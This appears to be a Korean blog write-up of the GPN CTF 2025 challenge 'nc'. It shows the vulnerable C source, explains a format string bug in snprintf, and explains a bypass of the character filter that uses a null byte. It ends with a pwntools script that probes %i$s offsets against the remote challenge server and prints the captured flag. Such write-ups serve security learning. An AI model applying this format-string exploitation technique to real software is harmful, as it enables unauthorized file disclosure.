728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#define RAW_FLAG "GPNCTF{fake_flag}"
char *FLAG = RAW_FLAG;
int no(char c)
{
if (c == '.')
return 1;
if (c == '/')
return 1;
if (c == 'n')
return 1;
if (c == 'c')
return 1;
return 0;
}
char filebuf[4096] = {};
int main(int argc, char **argv)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
char buf[200] = {};
puts("Give me a file to read");
read(STDIN_FILENO, buf, (sizeof buf) - 1);
buf[sizeof buf - 1] = '\0';
size_t str_len = strlen(buf);
for (size_t i = 0; i < str_len; i++)
{
if (no(buf[i]))
{
puts("I don't like your character!");
exit(1);
}
}
char *filename = calloc(200, 1);
snprintf(filename, (sizeof filename) - 1, buf);
puts("Will open:");
puts(filename);
int fd = open(filename, 0);
if (fd < 0)
{
perror("open");
exit(1);
}
while (1)
{
int count = read(fd, filebuf, (sizeof filebuf) - 1);
if (count > 0)
{
write(STDOUT_FILENO, filebuf, count);
}
else
{
break;
}
}
}%
2.2. 분석
문자열을 입력 받으며, 해당 문자열에 . / n c 가 포함되어있으면 종료하고, 아니라면 파일을 읽어 출력한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
format string bug 및 검증 우회
3.2. 공격 준비
snprintf에서 format string bug가 발생한다.
더불어 flag가 문제 바이너리 내에 포함되어있기 때문에 nc 파일을 열 수만 있다면 flag가 출력될 것이다.
다만 기본적으로 n과 c 문자열을 필터링하기 때문에 통상적인 fmb가 불가능하다.
하지만 strlen 함수가 \0을 만날때까지의 길이를 확인하지만 read 함수는 \0를 포함하여 문자열 입력이 가능하기에 이를 우회할 수 있다.
그래서 '\0nc'와 같은 식으로 nc 문자 자체를 filename 변수에 넣으려고 하였으나 잘 되지 않았다.
하지만 모든 바이너리는 바이너리 말미에 관련 정보를 포함하기 때문에 nc 문자열이 존재할 것이며 %s를 통해 이를 삽입할 수 있겠다는 생각이 들었고, 로컬에서 %1$s ~ %10$s까지 넣다보니 특정 위치에서 이를 읽어들이는 것을 확인했다.
따라서 리모트 환경에서 오프셋이 다를 수 있기 때문에 조금 좁은 범위를 대상으로 다시 한번 시도 했다.
4. exploit
from pwn import *
for i in range(70, 75):
#p = process('./nc')
p = remote("redview-of-ridiculous-honor.gpn23.ctf.kitctf.de", "443", ssl=True)
payload = b'%' + str(i).encode() + b'$s'
p.sendafter(b'read\n',payload)
print(i)
p.interactive()
# GPNCTF{up_aND_DoWN_4lL_ar0UnD_60ES_tH3_n_diMEn5IOna1_CIRC1E_w7F_iS_tHIS_fL4G}
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
GPN CTF 2025 - Note Editor (0) | 2025.06.22 |
---|---|
GPN CTF 2025 - NASA (0) | 2025.06.22 |
NahamCon 2025 CTF - Lost Memory (0) | 2025.05.30 |
BREAK THE SYNTAX CTF - HexDumper (0) | 2025.05.11 |
Dreamhack CTF Season 7 Round #9 (🚩Div1) - chain-lightning (0) | 2025.05.03 |